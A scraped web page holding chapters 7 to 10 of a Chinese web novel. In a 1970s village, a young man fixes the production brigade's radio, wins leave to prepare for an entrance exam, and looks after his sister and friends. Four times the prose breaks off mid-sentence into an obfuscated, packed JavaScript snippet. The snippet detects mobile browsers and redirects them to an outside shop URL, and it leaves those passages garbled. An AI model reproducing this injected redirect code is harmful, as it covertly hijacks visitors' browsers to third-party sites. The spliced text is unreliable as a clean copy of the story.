剩下的大队谁也没有会修的,去县里问吧,人家师傅一听是来红旗大队,脑袋摇得跟拨浪鼓似的,说什么也不来:“山旮旯里头,太远了!” 给大队长差点气出个好歹。 这也不行,那也不行,一个小小的收音机,就给众人难得皱起了眉头。 要是平时,坏了就坏了,大不了就是不用,反正大队上还有大喇叭可以用,可这东西才领回来没多久,书记还跟大队长说打算下来看看大伙儿用得咋样呢,结果人来了,却发现收音机坏了……大队长脸往哪搁? 大队长把茶碗拨开,又盖了回去,下头的什么书记员,记分员,平时在地里头挺胸抬头的,这会儿都跟鹌鹑似的缩着脖子,谁也不敢在大队长焦头烂额的时候触他的眉头。 大队长越发气闷,有好处的时候跑得比谁都快,这会儿轮到要想办法了,一个二个都跟锯嘴葫芦似的,连个章程也拿不出来,他视线在墙上那张伟人照片上停留了一会儿,想了个不是办法的办法。 修东西的确要点本事,一时半会也找不来会的,可那群知青一个个都是城里来的,这收音机在城里可不少,没见过猪肉,也总该见过猪跑,不说给他修得妥妥帖帖,至少能帮忙看看到底是哪儿出了毛病吧? “小何,你去知青驻地问问。”大队长抿了一口热茶,“这东西在城里总见过吧,问问他们能不能帮个忙——谁要是能帮忙解决这事儿,给谁计十八个工分!” 要知道知青们在公社小学里头当代课老师,一天也不过就九个工分,将将好能填饱肚子,但多的没有,就连家庭条件最好的蒋南,他能穿的确良,能买得起麦芽糖,那都是从京城给他发过来的包裹里头带着票和钱。 大队长这一口气给出去十八个工分,那就是平白多出来两天的奖励,粮食都能多换一斤去。 豪爽是豪爽,可完全就是死马当活马医的手段了,看得出来大队长心里也没底,小何,也就是记分员话都不敢说,一溜烟地跑出去找人,然而大队部气氛还是很消沉,都在想书记来了要是真还没修好要怎么把这事儿给掩盖过去。 门却忽然被敲响了。 “谁呀?” “我,周楚成。” 周楚成?众人面面相觑,不是因为对这个名字不熟,而是太熟了,摊上这人那就没什么好事儿,不是今天说自己头疼脑热的干不动活,就是暗戳戳地想在人堆里浑水摸鱼。 书记员低声抱怨:“这时候跑来,不会又是想找理由少做工吧?” 他们还烦着呢! 说是这么说,可总不能真把人拦在外面,他起身给人开了门:“有啥事儿?” 周楚成伸着脑袋,四处张望:“我听说大队部的收音机坏了?” 大队长嘴巴撇了撇:“没坏,就是有点不好使。” 周楚成跟这事儿没关系,大队长还有点警惕,生怕自己多说两句,这人给捅到外面去,到时候要全大队都知道收音机出问题了,那跟直接让书记看到坏的收音机有啥区别? 他摆了摆手:“你问这些做啥,跟你没关系,一天少惦记这个那个的,赶紧的回去攒你的工分。” 周楚成揉了揉鼻尖:“……要不我试试?” “啥?” “收音机,我能修。” 大队长差点一口茶喷出来:“你修过?” “差不多那样吧。”周楚成说得模棱两可,“无非就是电器元件,线圈或者是接触不良之类的问题……应该不麻烦。” 众人你看看我,我看看你,都对周楚成的话将信将疑,可时间一点点过去,小何那边也不知道碰到了什么麻烦,别说知青了,是连只鸟也没抓回来。 再这么等下去完全是坐以待毙,大队长把心一横,从布兜子下面把收音机拿出来:“你先看看——说好了啊,只准看,别瞎鼓捣上手!” 周楚成“哦”了一声,浑不在意大队长的防备,他目光一打眼落在那块不知道放了多久的厚布上头:“这东西一直给收音机蒙着呢?” “是啊,这不是说要防灰掉进去么。”书记替大队长回道,见周楚成表情有些严肃,他心也提起来了,“县城那边也是这么说的。” “盖布确实是可以防灰,但也不能一直蒙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135878|150091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着啊。”周楚成有些无奈,“这么潮湿的环境,湿气水汽全给挡在里头,挥发都挥发不掉。” “你看这个旋钮这里,是不是有一点点红褐色的印子?那是长出来的锈,不信你拿手电筒照照,锈斑都铺上一层了,还有这儿,这儿,全是锈斑。” 周楚成叹了口气,也不知道大队部这群人是实心眼,还是压根没把人家话听明白,旋钮中间都锈得发黑了,一看就是连用的时候都盖着布呢。 幸好这收音机结实耐用,天线和电容似乎还没出问题,不然的话他也应付不了。 “能修,就是得上手。” “真能修?” “比黄金还真。”周楚成指了指那小收音机,“就一小会的工夫。” 屋里大伙儿都眼巴巴地看着大队长,大队长迟疑了一下,豁出去似的一挥手:“弄吧弄吧!” 有了大队长的首肯,周楚成毫不客气地指挥起了其他人,要工具拆外壳,要砂纸,要干净的布,甚至还要刷子和缝纫机油。 众人眼看着周楚成用砂纸三下五除二将旋钮上的锈迹一点一点磨掉,再拿布和刷子小心翼翼地清理掉里头的灰尘,擦干净的零件上涂一层薄薄的油,再把收音机重新装好开启。 天线重新定位好方位,里头滋滋啦啦地传来一阵噪音,过了一会儿,悠悠的民歌就从收音机的喇叭里头传了出来。 一抬头,时间还没过去半小时,还真给他做成了! 大队长心情有些复杂,他拿起收音机,又看了看桌上摆着的那一堆用过的工具。 周楚成修好东西就一屁股坐到旁边去了,又变得跟平时一样吊儿郎当的,还说口渴了管书记要水喝,丝毫看不出来刚刚他一套动作行云流水地就解决了问题。 “你咋会修收音机?” “算不上修吧,这个挺简单的。”周楚成喝了口水,“要是真电容坏了那才是要费点事,估计还得去淘换点废弃的电器元件来换,天线也是,里面有金属,坏了不容易找耗材。” 大队长:…… 他堂堂大队长为了这事儿眉毛可都要焦掉了……周楚成却说简单! 这还是那个不学无术的周楚成吗,这是哪家的野神仙上身了? 听清楚大队长的疑惑,周楚成差点一口水喷了书记满脸,他把水咽下去,哭笑不得地解释:“这个真不难,就是中学的物理知识!随便来个念了公社中学的,你找他,他都能解决。” 大队长呵呵一笑:“不管怎么说,今天都是你的功劳,刚刚大队部商量过了,谁能解决这件事,谁就加十八个工分……但你是毛遂自荐,在大队部有需要的时候挺身而出,我觉得给你加二十个工分比较合适——大伙儿都支持吧?” “当然。” “支持,支持。” 周楚成笑了笑,表情很认真:“大队长,这二十个工分我不要……但是,接下来到联办班入学考试的这五天,我想请个假,不上工。” 8. 第 8 章 联办班入学考试? 这屋里每个人都听说了周楚成要回去读书的事儿,但谁也没当真,此刻听到本人说出这句话,第一反应是自己耳朵听错了。 可周楚成表情却是说不出的诚恳,显然不是开玩笑。 如果他是今天一来就和大队部说这么个事儿,没人会同意,大队长说不定还会觉得他不思进取,要好好教育教育他,可是周楚成人家来了之后,第一件事不是提要求,而是帮忙。 收音机是周楚成修好的,人家嘴巴上谦虚两句简单,好修,可作为大队部的干部,他们不能真把周楚成做的事儿就这么轻而易举地揭过去——大家都是乡里乡亲的,以后还做不做人了? 更别说周楚成再怎么混,他也就是个十七八岁的后生伢子,这一屋子的大人,谁又不希望大队上能多一些有出息的年轻人呢? 看看人家富强公社,就出了那么个大学生,现在在公社书记面前,那是头也不疼了,气也不喘了,一口气能犁十亩地不带歇气儿的。 周楚成如果真的洗心革面,想要从现在开始好好努力,他们当然要给他这个机会,说到底一切还不是要看联办班的入学考试成绩。 也就五天时间。 考得上,那才是正经的高中生,考不上,那就收拾包袱回来好好干活。 大队长思索了一会儿,最终还是点了头。 这意味着周楚成从今天开始就用不着去地里忙活了,和周晚她们这群学生一样,除了秋收春种这些农忙的时候,其他情况下都自由安排,大队长颇有些感叹地拍了拍周楚成的肩膀:“珍惜机会。” “谢谢大队长。” 周楚成这两天琢磨的就是这件事,虽然有系统在后面逼着他卷,可是时间始终是有限的,他要是跟别人一样去挣工分,做题的时间就远远不够。 当然,他心里没说的是,任务奖励赚起来是有瘾的,见过他妹欢天喜地地高兴过那么一次,就很难不想着下一次,想着再做多一些任务,甚至挑战更难的任务,让他妹天天脸上都挂着笑容。 没想到还真给他抓住了这么个机会。 周楚成关上大队部的门,就差点笑出了声,他咳了两声,还是不太愿意给人看见自己这么“得意忘形”的样子,但平心而论,能专心做任务学习,不用下地的感觉确实不错。 他选择性遗忘了自己做不出题,任务失败时的无能狂怒,还有半夜被系统拉着不能睡觉,一边打哈欠一边解题的痛苦,迎面却正好碰上了几个和他年龄相仿佛的男孩,打头的那个见了他,眼睛一亮:“成哥!” “小鹏?” 叫住周楚成的那个叫赵小鹏,后头跟了李灿、王满粟,都是他从小到大的铁哥们,这附近的山头,没有哪座是他们几个没翻过的,周楚成笑了笑:“找我有事?” “没事儿就不能找你啊。”赵小鹏有点委屈,“你多久没和我们一起玩了,叫你你也不来。” “走呗,今天出去转转,不知道大队长他们忙什么,我看地里这会儿就田老虾在守着。”李灿也说道,“咱兄弟几个好久没聚了。” 周楚成摆了摆手:“今天真不行,我得回去看书。” 赵小鹏眼睛都快瞪出来:“看书?” “是啊,我要去参加县里联考班的入学考试,估计之后都没什么时间出去晃了。” “入学考试……”王满粟喃喃道,“我还以为大伙儿瞎说,成哥,你真要回去念书?” “嗯,我还打算参加高考。”周楚成在铁哥们面前倒是很坦然,“和我妹一起考大学。” “……” 他一句话,气氛都沉默了下来,赵小鹏张了张嘴巴。 “为什么?” “我也老大不小了,总不能一直这样让爹妈操心,而且我还有个妹妹呢。”周楚成的目光掠过几人神色各异的脸孔,还是把心里的想法说了出来,“咱们都一样,总不能一辈子这样在村里混下去。” 几人还是没有说话。 周楚成的话,对于他们来说完全就是另一个世界的东西,像是听天书,不,比听天书还要混乱,李灿摇摇头:“成哥,我们跟你不一样。” “你爸妈能支持你念书,我们呢,家里不是一堆兄弟姐妹,就是穷得揭不开锅。”李灿说道,“上哪儿去念书?” “那至少也能学个手艺。”周楚成脸色平静,“哪怕去县里当个学徒工也行,比窝在山沟里天天抱怨强。” 对于小说来说,他们是书里没名没姓的“路人甲”和“炮灰”。 可是对于周楚成来说,他们是他从小到大的好朋友,尽管他们这会儿不一定能听得进去这些话,毕竟连他自己都还没有读出个什么名堂来。 “说得轻巧。”李灿不咸不淡地说了一句,别过头去不说话了,王满粟叫了一声“李灿”,周楚成摇摇头,李灿从小就是这个脾气,哪怕几个人关系好,闹起来也是可以好几天见面都不打招呼。 但在书里,李灿却是唯一一个和他一起进城创业的人。 想到这里,周楚成心里动了动,有些疑惑——为什么赵小鹏和王满粟没有和他一起? 他们四个人不可能无缘无故分开,是他们不愿意,还是因为什么别的原因,让他们俩没能跟着一起来? 疑问在周楚成心里一闪而过,他也没再说下去。 这场偶遇,最终不了了之,周楚成现在身上背着个系统,还肩负着要拯救全家的使命,即便是好朋友,他也不可能再和他们一起到处闲逛。 不过临走之前,看着朋友们有些迷茫的脸,他还是拍了拍赵小鹏肩膀:“下周四,考完入学考试正好给你过生日——放心,你成哥没忘。” “成哥!我就知道你还是我认识的那个成哥!” “好了好了,一边儿去别堵着路——我真的要回去复习功课了!” …… 周楚成这边久违地和发小们聊了几句,而另一头,有两天没见上面的小情侣也终于找到了空闲时间,在小树林碰了头。 这次却不是蒋南来找周晚,而是周晚主动把对象叫了出来——之前堂哥周敬给她的那份高考复习资料,她又誊写了一份给蒋南送过来。 尽管为此熬了两天夜,手上还长了几个泡,一碰就疼,但一想到蒋南拿到这份“礼物”应该会很开心,她心里也觉得快乐。 只是蒋南的反应比她想象中平淡,只是接过那册子书,又对她说了一声“辛苦了”,看着她满眼都是期待,蒋南却没有打开认真看一看的意思,反而是问道:“上次我给你的那本《钢铁是怎样炼成的》,你回去看了吗?” “看了呀,翻译得很好。”周晚点了点头,见蒋南欲言又止,“怎么了吗?” 蒋南迟疑了一下,还是摇了摇头:“没什么,如果你喜欢的话,我们回京城可以再多买些,外文大学翻译的其他著作也很优秀。” “嗯,我听说京城那边大学都有图书馆,到时候可以不用买,去图书馆借阅,还能节省一点钱。”周晚的小财迷本能又涌了上来,她掰着手指头数,“要是半个月能看完一本,那一个月就是两本,一年就有足足二十四本——能节省下来几百块钱呢!” 她这边算得起劲,蒋南沉默了一下,开口道:“不是高考之后……晚晚,我想现在就带你走。” 周晚的话头截住了,她呆了呆:“咱们上次不是说过,再等等吗?” “可你也知道是上次。”蒋南耐着性子和她解释,“晚晚,我不是不愿意等你,而是回城这个机会很难得,你也知道多少眼睛都在等着那么一个名额。” “……我爸妈说,再怎么样也要扯证。”周晚小声说道,“不然我去了京城,也没地方安身呀。” “就住在我家,有什么不可以?”蒋南理所当然地说道,“咱们迟早有一天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“送你的。”周楚成交代,“去年冬天刮大风的时候,你脸都吹得脱皮了,今年正好赶上天气冷,赶紧用。” 周晚叫了声“哥”,周楚成拍了拍脑袋,又从兜里掏出一个小袋子来:“还有这个。” 棕色的小方块,却散发着浓郁的香味,周楚成语气很随意:“巧克力,晚上熬夜复习功课的时候吃一块,没那么累。” 巧克力在这年头还是华侨商店的专属商品,别说红旗大队了,整个省城也不见得买得到,更别说系统出品的这种巧克力味道比正常的要浓郁得多,这还是之前周楚成捉他妹和蒋渣渣约会那天,紧赶慢赶在最后一秒做出来那道题才拿到的奖励。 周晚爱不释手,却还是把巧克力还给了哥哥:“我就只要一块,这个肯定很贵,哥你自己留着吃。” “我不用。”周楚成不可能说这是唯一一袋,连他自己都还没吃上一口就全送了,他一本正经地胡说八道,“我吃过了。” “啥味道?” “……就是巧克力的味道。” “?” 周楚成塞了一块巧克力到妹妹嘴巴里:“送你你就接着,马上就要考试了,跟你哥客气什么呢。” “哥……” “好了,别复习得太晚,听到没?”周楚成揉了揉妹妹的头发,“天塌下来你哥顶着呢,别给你自己那么大压力,好好准备,一定没问题的。” “……嗯!” 周晚看着哥哥离开的背影,感动得眼泪汪汪。 她哥自己都还要忙着复习考试,却还惦记着她这个妹妹考试辛苦,还鼓励她不要把自己逼太紧。 就连蒋南……她哥不喜欢,却也没说要拆散他们,逼着她分手,而是在包容她的想法,明明知道她是为了蒋南才熬夜,她哥却完全没点破,只是默默地用自己的方式关心她。 周晚慢慢涂着雪花膏,这几天疼痛不堪的手掌慢慢变得滋润舒缓了下来,淡淡的香气萦绕在鼻间,她抿了一口嘴巴里的巧克力。 她是不是应该更关心一点哥哥呢? 9. 第 9 章 周红军和沈桂香反而是后来才知道收音机这件事,一个抠,一个泼,在大队上处得特别好的人家那是没有的。 最后还是周楚成主动跟爹妈说他这几天不用去上工,两口子这才知道发生了这么回事,要是事情发生之前,沈桂香说什么也要拧着儿子耳朵,不让他瞎出主意,万一给东西弄坏了,周家可赔不起! 可是他修也修了,大队长还和蔼可亲地同意了他“请假”的事儿,沈桂香就是觉得儿子太莽撞,也没话说了——说出去的话,泼出去的水,当妈的还扯儿子后腿不成? 不过周楚成不去上工,两口子还是要挣工分的。 周红军不说,沈桂香虽然泼辣,但也着实能干,力气比大队上许多男人都大,农忙的时候能顶一个半壮年劳力,就连开山挖渠这些苦活也一点不退缩,即便做农活的时候没人跟她搭话,她自己也能做得起劲。 可自从周楚成帮了大队长忙,沈桂香惊讶地发现,竟然也有人开始主动和她搭话了,虽然也就是忙活的时候嘴巴上有空唠两句,可比起之前那样见了她眼光都不敢对上的情形不知道好多了多少。 更让她惊讶的是,提起她儿子周楚成,这些人嘴巴里竟然有好话了! 要说周红军和沈桂香活了大半辈子,还没因为儿子得过一句好呢,这眼下不仅仅是平时一起挣工分的劳动队员,大队长来过几次,对他们也是和颜悦色,哪怕是客套话,这他们以前哪敢想呢? 但大队长还真不是单纯客套两句,他是真觉得周楚成这小子脑袋有点灵光,以前也不傻,但精神头好像都用在了其他地方,说话是一套一套的,可做事就跟泥鳅似的,能不沾就不沾。 这头一次用在了正事上,真帮大队部解决了个麻烦,书记下来视察的时候,大队长甚至还把周楚成说的那些防潮防锈小知识给“借花献佛”了一把,得了书记两句夸,说他不忘钻研。 现在大队长看周楚成更是哪哪儿都顺眼,心里一舒坦,在大队部集会的时候就多提了两句:“咱们大队的年轻人还是很有朝气的——你看周楚成,之前还是咱们大队的问题青年,现在洗心革面要念书,要追求进步,还运用学习到的知识帮咱们修好了收音机,这精神必须表扬。” 这话其他人有没有听进去不知道,但坐在角落里的田老虾却是听进去了。 田老虾是他的外号,原名叫田立民,可这名字大队上已经没几个人记得了,也没几个记得他是红旗大队第一个拖拉机手,队上那些后生伢子,严格来说都得管他叫一声师父。 只是一场事故,他的脊椎受了重创,人虽然还活着,但拖拉机开不了了,也做不了重活,为了让他安心养老,大队给他派了个仓库管理员的轻省活,每天固定给足够糊口的工分,模范拖拉机手就这样变成了佝偻着腰再也直不起来的“田老虾”。 “要不是出了意外,你爹我指定能当个大队长,不然书记员也行。”田老虾在家念叨,“是整个富川县学拖拉机最快的,上去叭叭两下就给它开起来了,修路修水坝,运粮运设备,哪个不是我来?你知不知道咱们红旗公社通的第一条路,就是你爹开拖拉机走的……” 田梁喊了声“爸”:“这些老黄历都讲了几十次了,爸,时代变了,别老抱着你那拖拉机说说说的。” 田老虾被噎了一下,瞪了他儿子一眼:“你也知道时代变了,你看人家周楚成都知道回去上学去,你咋还在外头瞎溜达!” “我那不是瞎溜达。” “不是是什么?”田老虾磕了下烟枪,“上次你爹给你整的那身衣裳,你连补丁子都弄出来了,干啥去了你?” “……摸甲鱼。” “摸来做什么?” 田梁咕哝:“富强大队那个王虎,有县里的人脉,说给我们弄到县里去卖,一只能卖二十块钱!” “钱呢?” “……” 田梁沉默了,一只甲鱼的确能挣二十,可是甲鱼不是那么好抓的,他还掉进了水里头划了一身的血印子,就抓住那么一只,可王虎回来说,那只甲鱼半路跑丢了。 田梁不知道栓得好好的甲鱼为什么会丢,但结局就是衣裳破了,钱也没拿到,他开始以为是王虎骗了他,可是别人怎么就拿到了,唯独他没有呢?偏偏他爸还要提,他一点也不想提。 田老虾叹了口气,腰越发佝偻下来:“儿啊,你爹这辈子没什么用了,就只想着帮你谋划谋划,让你别再吃你爹吃过的苦……大队长消息比咱们都灵通,他在咱面前说读书好,那就证明读书是真好,听你爹的,回去读书。” 田梁还在想甲鱼的事情,语气有些烦躁:“我小学都没毕业,就算回去念了又怎么样!” “人家周楚成不也就小学毕业,他不还是跑去读书了?” “那他也就是个小学毕业的文盲!”田梁没好气地说,“大队上小学毕业的那么多,我干嘛非要跟他一样?” “那你要干啥?” “我要当城里人!”田梁开始只是脱口那么一说,细想一下还真有几分道理,越发坚定,“那些知青都是城里人,文化也高,我要是跟他们处好了,以后说不准人家还愿意提携我一把呢!” 要是他是城里人,他就是那个能开二十块钱,让人给他捉只甲鱼打牙祭的有钱人,而不是一个苦哈哈的乡下农民,一个没见过世面的土巴子。 可田梁的美梦还没开始就被戳散了,他到了知青驻地见了人,支支吾吾连一句囫囵话都说不明白,知青们和他谈文学,谈人生,他就只知道麦子啥时候种啥时候收,哪个石头底下能摸出来带崽的螃蟹。 ——两边就不是一路人! 可与此同时,田梁却又近距离地看到了这个世界的另一面,女知青们在讨论回城后要去哪儿烫头发,男知青们在商量家里能安排回城做什么工作。 田梁想都不敢想的“进车间”,在知青们嘴巴里还不是最好的工作,他们想坐办公室,想当干部,去厂办里头,能每个月体体面面地拿工资,能顿顿吃大肉,还有各种各样的福利。 而这群知青里头,前程最好的就要属蒋南了,听说他大学毕业,就能在教育系统给他安排落脚,那可是教育系统……别说是大学毕业,就是再等上十年也愿意呀。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135880|150091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>蒋南说得很谦虚:“这些都是捕风捉影的谣言,没有的事,我家也只是普通家庭。” 可知青们都不信,田梁就更不会信了,他打定主意要当蒋南的“跟班”,没文化的人没人愿意搭理,田梁甚至“忍气吞声”地找上了周楚成:“我爸让我问问你,要是想念书,得看什么教材?” 周楚成对田老虾倒是没有什么恶感。 一方面,他之前和田老虾做了笔交易,用布票换了两只鸡,他家现在天天有鸡蛋羹吃是托了田老虾那两只鸡的功劳。 另一方面,田老虾似乎主动在缓和跟他爸妈的关系。 甚至还主动邀请他爸周红军给自家打一对椅子,给周老爹挣了一小笔外快——当然最后都成了周晚小存钱罐里头丁零当啷作响的硬币。 其实田老虾的想法很简单,布票在这年头不便宜,要卖他布票,再胆大包天也不可能是周楚成自作主张,肯定是周家两口子背后授意。 他儿子田梁能穿上新衣裳,田老虾哪怕给了两只鸡,那情分上也不够抵,他得承人家的情。 可周红军并不知道这一出。 田老虾以前还看他鼻子不是鼻子,眼睛不是眼睛,现在怎么就和颜悦色,就连有时候借农具也好讲话了? 周楚成的一个举动,莫名其妙就导致了这么一场美妙的误会,两边就这么慢慢和缓下来。 田梁管他问教材的事情,他也没推辞,从书堆里翻出一本初中语文:“你基础不扎实,先从这个开始学,啥时候学到差不多了再说。” 他是好心,毕竟几个科目里头就语文最简单,更别说是初中语文,要真给田梁上来就弄一套高中数学大全,那就不可能做得来,等他语文这边有点头绪了,心里稳当了,再慢慢把数理化捡起来,挫败感不会有那么强。 不像他……完全是被系统赶鸭子上架,连自己学什么的决定权都没有,天天做任务跟后面有鬼在撵似的,生产队的驴都没他这么累! “好好学,好好练!” 田梁却很不服气。 你周楚成啥人啊,你连高中的入学考试都还没通过呢,还摆起谱来教育我了——要真是这样,你自己咋不从初中语文开始“慢慢学”呢! 这不还在看高中物理吗? 咋了,你周楚成聪明,我田梁就傻是吧? 说白了还是看他不起呗! 田梁嘴巴上不说什么,心里却揣着一肚子火回去了,他爸还天天念叨让他别老妄想知青能扶他一把,学周楚成自己努力才是正道,可周楚成人家根本不买他的账。 等考试成绩下来,他要好好嘲笑他爸的眼光,看他爸还怎么糊里糊涂的! 劳动队少了个周楚成,入学考试名单上却多了个周楚成,大队上似乎谁也没天天刻意念叨,但无数双眼睛也都等着看这场考试的结果,热闹嘛,谁都爱看。 就在这样看似平静的氛围中,五天时间一晃而过。 这天,天蒙蒙亮,外头的公鸡刚扯着嗓子叫了两声,周楚成和周晚兄妹俩就被沈桂香从床上挖了起来。 今天就是考试的日子。 10. 第 10 章 这一次考试,公社中学极为重视,或许是因为对于这些学生来说这是一次关键的机会,又或是中学即将解散,公社不知道从哪儿给学生们弄了一台翻斗车来,载他们去县城考试。 翻斗车的车斗不大,但载人绰绰有余,这一次也并不是所有人都要参加,许多家庭最终放弃了这次考试资格,曾经的学生们并入了各个大队的劳动队,这会儿趁着人多,也拿着铁镐铁锹,站在田埂上静静地看着,目光里充满了憧憬和羡慕。 没错,考试或许是很难,哪怕去考试,也不见得就能通过……可不走一趟,谁又能心甘情愿地放弃呢? 还是劳动队的其他人喊了,他们才依依不舍地走开。 公社中学的学生们却顾不上和这群曾经的同学们执手道别,去县城的路并不近,翻斗车载人走山路,速度更是快不起来,他们要是不抓紧时间坐好开车走,那就赶不上县城的考试时间了。 这次带队的是周晚班上的班主任王雪华,也是她一力主张才争取到了这次联办班的机会,她一边要安抚翻斗车师傅的情绪,一边还要催促学生们赶紧上车,挤挤挨挨的人群里,周晚几乎是被后面的人给推上斗里去的,她从车斗里探出身来:“王老师,我哥怎么办?” 周楚成怎么办? 就他一个不是公社中学的,王雪华还是给他也算上了一个名额,可翻斗车比想象中要小不少,再挤一个身材娇小的女同学还行,周楚成是真上不了。 万万没想到临到这会儿还能出现意外,周晚急了,周楚成却安抚他妹:“你先去,我去大队部借个自行车骑过去就行。” “哥,别忘了带准考证!” 周晚还没说完,就见她哥一溜烟没了影子。 “你走你的,我马上就来!” 周晚愣愣地站着,身边的女同学拉了她一下:“赶紧坐下来,车要开了!” “哦、哦!” 柴油的刺鼻气味,伴随着路两旁卷起的风沙,慢慢地把后面的路都挡得严严实实,周晚只能捂着口鼻坐了下来,有男同学从旁边扯了原本放在车斗里挡雨的布盖在上头,风沙也被拦在了外面。 幸好这一段路并不远,过了泥地,两边的视野慢慢开阔起来,农田一亩又一亩地向外延展,空气清新了许多。 盖布重新掀开,原本还十分紧张的众人在车上坐了一会儿,也比一开始要自在许多,互相商量着换了位置,都和各自最熟悉的人坐在一起。 周晚这下是彻底看不见她哥在哪儿了,也不知道他能不能赶上……应该能吧? 她叹了口气,一抬眼,这才注意到小姐妹许芝灵一直蜷缩在车斗的角落里,看上去好像不太舒服。 她伸手拉人:“芝灵,这边空气好,坐我这儿来!” 许芝灵却下意识地躲了一下,见周晚疑惑地眨了眨眼睛,她这才苦笑一声解释:“昨晚上复习晚了,刚刚没听清是你在叫我。” 周晚不疑有他,见许芝灵脸色确实有些苍白,心里有些担心,扭头从她妈沈桂香给做的布包里头把一个水壶给拿了出来。 “我妈给我兑的温水,你喝两口,可能是没睡够觉,闻着那味道头晕。” 为了今天这场考试,沈桂香给兄妹俩都灌了水壶,里头加了一点点野蜂蜜,平时一年到头也舍不得用一次,这时候就变成了恢复体力的“灵丹妙药”。 许芝灵小口小口地喝了一些,果然脸色慢慢地好了起来,周晚这才松了口气:“为了这场考试,咱们都太辛苦了,希望这次能取得好成绩。” 她摸了摸口袋里的糖纸包装,昨晚上睡觉前,她哥给了这颗薄荷糖,说是坐车的时候要是不舒服可以含一颗。 他最近总是这样,没头没脑地就给她送礼物,吃的用的什么都有,周晚回回问他,他只是说和朋友在县城里倒卖了点东西挣回来的。 周晚心里却很担心,倒不是因为倒卖的事情,她哥一直有分寸,而是她哥现在还得顾自己的学业。 她发自内心希望哥哥这次能考上,他好不容易才有了上进的念头,要是一场失败把他又给打击回去了,那也太遗憾了。 当然,她自己也得考上,不然的话,真对不起她哥哥一天天巴心巴肝地给她送东西,周晚这样想着,就听见小姐妹问道:“你最近有没有和蒋南见面呀?” 周晚摇了摇头——其实见过,但那次见面并不愉快,后面蒋南也没再来找她,她心里有点生闷气,却觉得自己为了这么件事闹别扭有些幼稚,哪怕在许芝灵面前也不想表露出来。 “没呢,怎么啦?” 许芝灵却敏锐地察觉到周晚脸色有些僵硬,她没揭穿,只是轻飘飘地说道:“没怎么,就是提醒你,别为了学业,就把好男人给抛在一边,要是给人撬了墙角,我看你上哪儿哭去。” “你就吓我吧,不可能的事儿。” 周晚想也不想就说道,虽然她是和蒋南闹了点不愉快,但那也是他们处对象的事儿,叫做“内部矛盾”,要是蒋南真的移情别恋——那就是“敌我矛盾”,蒋南才不会那么昏头呢! “公社上大队上那么多女孩,又不是没接触过,早不撬晚不撬的,偏偏这时候撬,我才不信呢。” 周晚对自家对象的忠贞还是很有信心的,许芝灵看她昂着下巴,像只小孔雀似的,也跟着笑了,轻轻推了她一把:“行了,知道你俩感情好了。” 她惯会调侃,周晚鼓了鼓腮帮子,把教材给翻了出来:“不说了,趁着还有点时间,咱们赶紧再看看书!” …… 另一边,周楚成刚到大队部门口,没看见大队长,一个熟悉的面孔就出现在面前。 赵小鹏开着手扶拖拉机,引擎的声音震得他整个人的声音也跟着嗡嗡响,他朝周楚成挥了挥手:“成哥,上车!” 竟然是要载周楚成去县城里考试。 周楚成看了一眼天色,也不矫情,果断地上了赵小鹏旁边的空位。 手扶拖拉机的马力一点不小,同样是烧柴油的家伙,比人力踩踏板的自行车不知道省力多少,还一点不慢。 周楚成扭过头,机械的噪音太大,他只能扯着嗓子喊:“跟你舅报备没!” “啥?” “我说你用拖拉机,和你舅说了没!” 赵小鹏他舅,就是大队长,赵小鹏的眼神飘了飘:“回去再跟他说,没事儿,我舅不会生气的。” 周楚成一拍额头,就知道这小子又是先斩后奏。 但就像赵小鹏自己说的,大队长是他舅舅,也不是拿去用作什么伤天害理的事情,这种事情,大队长只会睁一只眼闭一只眼。 “成哥……”赵小鹏控制着拖拉机的方向,看着面前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14135881|150091||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坎坷泥泞的路,“那个,我、我也想念书。” 不等周楚成说话,他又期期艾艾地自己改了说法:“不是念书,就是……出去学个技术也行,反正就是要出去。” 周楚成当时说完就走了,剩下的几个好哥们,要么就是觉得周楚成是站着说话不腰疼,要么就是唉声叹气,觉得以后成哥跟他们也不是一路人。 赵小鹏当时心里也乱乱的,好像什么念头都有,但仔细想,好像什么念头都不清晰,“我想了一晚上,我觉得我不能一直待在红旗大队。” 大队上的确什么都好,毕竟他是大队长的外甥,就是看在大队长的份上,他日子也不会差到哪去,他爹妈更是只有他这么一个根,不可能少他吃穿。 可是一辈子呆在乡下……说实话,赵小鹏还是有点不甘心,他跟着周楚成看了不少连环画和小说,那些文字画面里的华丽都市,没有哪个不令人向往。 